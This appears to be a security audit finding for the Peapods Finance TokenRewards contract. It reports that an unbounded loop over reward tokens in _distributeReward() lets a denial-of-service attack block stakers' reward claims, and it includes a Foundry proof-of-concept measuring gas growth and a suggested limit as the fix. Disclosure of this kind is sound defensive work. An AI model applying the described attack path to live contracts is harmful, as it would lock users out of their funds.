Furry Berry Armadillo

Medium

# (DoS) Risk in _distributeReward()

### Summary

The unbounded iteration over `_allRewardsTokens` in [_distributeReward()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L236) will cause denial-of-service (DoS) for stakers as the function will fail due to excessive gas consumption when too many reward tokens are added.

### Root Cause

In `TokenRewards.sol`, the function `_distributeReward(address _wallet)` loops over `_allRewardsTokens` without limit:

```solidity
function _distributeReward(address _wallet) internal {
    if (shares[_wallet] == 0) {
        return;
    }
    for (uint256 _i; _i < _allRewardsTokens.length; _i++) { // ❌ UNBOUNDED LOOP
        address _token = _allRewardsTokens[_i];

        if (REWARDS_WHITELISTER.paused(_token)) {
            continue;
        }

        uint256 _amount = getUnpaid(_token, _wallet);
        rewards[_token][_wallet].realized += _amount;
        rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);

        if (_amount > 0) {
            rewardsDistributed[_token] += _amount;
            IERC20(_token).safeTransfer(_wallet, _amount);
            emit DistributeReward(_wallet, _token, _amount);
        }
    }
}
```

Since `_allRewardsTokens` grows indefinitely, this function eventually exceeds `Ethereum’s` block gas limit and `Base` block gas limit `(~30M gas)`, making it impossible to execute.

### Internal Pre-conditions

1. Stakers must hold shares (shares[_wallet] > 0).
2. Reward tokens must be added continuously via _depositRewards(), increasing _allRewardsTokens indefinitely.
3. No limit on _allRewardsTokens (can exceed 300+ tokens).
4. Users must call _distributeReward() indirectly via claimReward().

### External Pre-conditions

1. Ethereum block gas limit remains ~30M gas.
2. Reward tokens must have liquidity and transfers enabled.
3. Users must attempt to claim rewards once gas cost is too high.


### Attack Path

1. Attacker deposits multiple reward tokens via `_depositRewards()`.
2. `_allRewardsTokens` grows infinitely, leading to an unbounded loop.
3. Legitimate users call `claimReward()`, which triggers `_distributeReward()`.
4. `_distributeReward()` exceeds the gas limit, making reward claims fail.
5. Users are permanently blocked from claiming their rewards, creating a `denial-of-service` attack on the protocol.

### Impact

Stakers cannot withdraw their earned rewards.

### PoC

```solidity
 function testGasIncreaseWithMoreTokens() public {
        vm.prank(address(trackingToken));
        tokenRewards.setShares(user1, 100e18, false);

        uint256[] memory tokenCounts = new uint256[](6);
        tokenCounts[0] = 10;
        tokenCounts[1] = 20;
        tokenCounts[2] = 50;
        tokenCounts[3] = 100;
        tokenCounts[4] = 200;
        tokenCounts[5] = 300;

        uint256[] memory gasUsages = new uint256[](6);

        for(uint256 i = 0; i < tokenCounts.length; i++) {
            // Reset the contract state for each test
            setUp();

            vm.prank(address(trackingToken));
            tokenRewards.setShares(user1, 100e18, false);
            
            for(uint256 j = 0; j < tokenCounts[i]; j++) {
                MockERC20 token = new MockERC20(
                    string(abi.encodePacked("RT", vm.toString(j))),
                    string(abi.encodePacked("RT", vm.toString(j)))
                );
                token.mint(address(this), 1000e18);
                token.approve(address(tokenRewards), type(uint256).max);
                rewardsWhitelister.setWhitelist(address(token), true);

                try tokenRewards.depositRewards(address(token), 10e18) {
                } catch (bytes memory err) {
                    emit log_named_uint("Failed at token count", tokenCounts[i]);
                    emit log_bytes(err);
                    return;
                }
            }

            uint256 startGas = gasleft();
            try tokenRewards.claimReward(user1) {
                uint256 gasUsed = startGas - gasleft();
                gasUsages[i] = gasUsed;
                emit log_named_uint("Number of tokens", tokenCounts[i]);
                emit log_named_uint("Gas used", gasUsed);
            } catch (bytes memory err) {
                emit log_named_uint("Failed at token count", tokenCounts[i]);
                emit log_bytes(err);
                return;
            }
        }
    }
```
```solidity
Ran 1 test for test/TokenRewards.t.sol:TokenRewardsTest
[PASS] testGasIncreaseWithMoreTokens() (gas: 832336224)
Logs:
  Number of tokens: 10
  Gas used: 1014829
  Number of tokens: 20
  Gas used: 2023543
  Number of tokens: 50
  Gas used: 5049727
  Number of tokens: 100
  Gas used: 10093499
  Number of tokens: 200
  Gas used: 20181539
  Number of tokens: 300
  Gas used: 30270250

```

### Mitigation

Enforce a Limit on `_allRewardsTokens`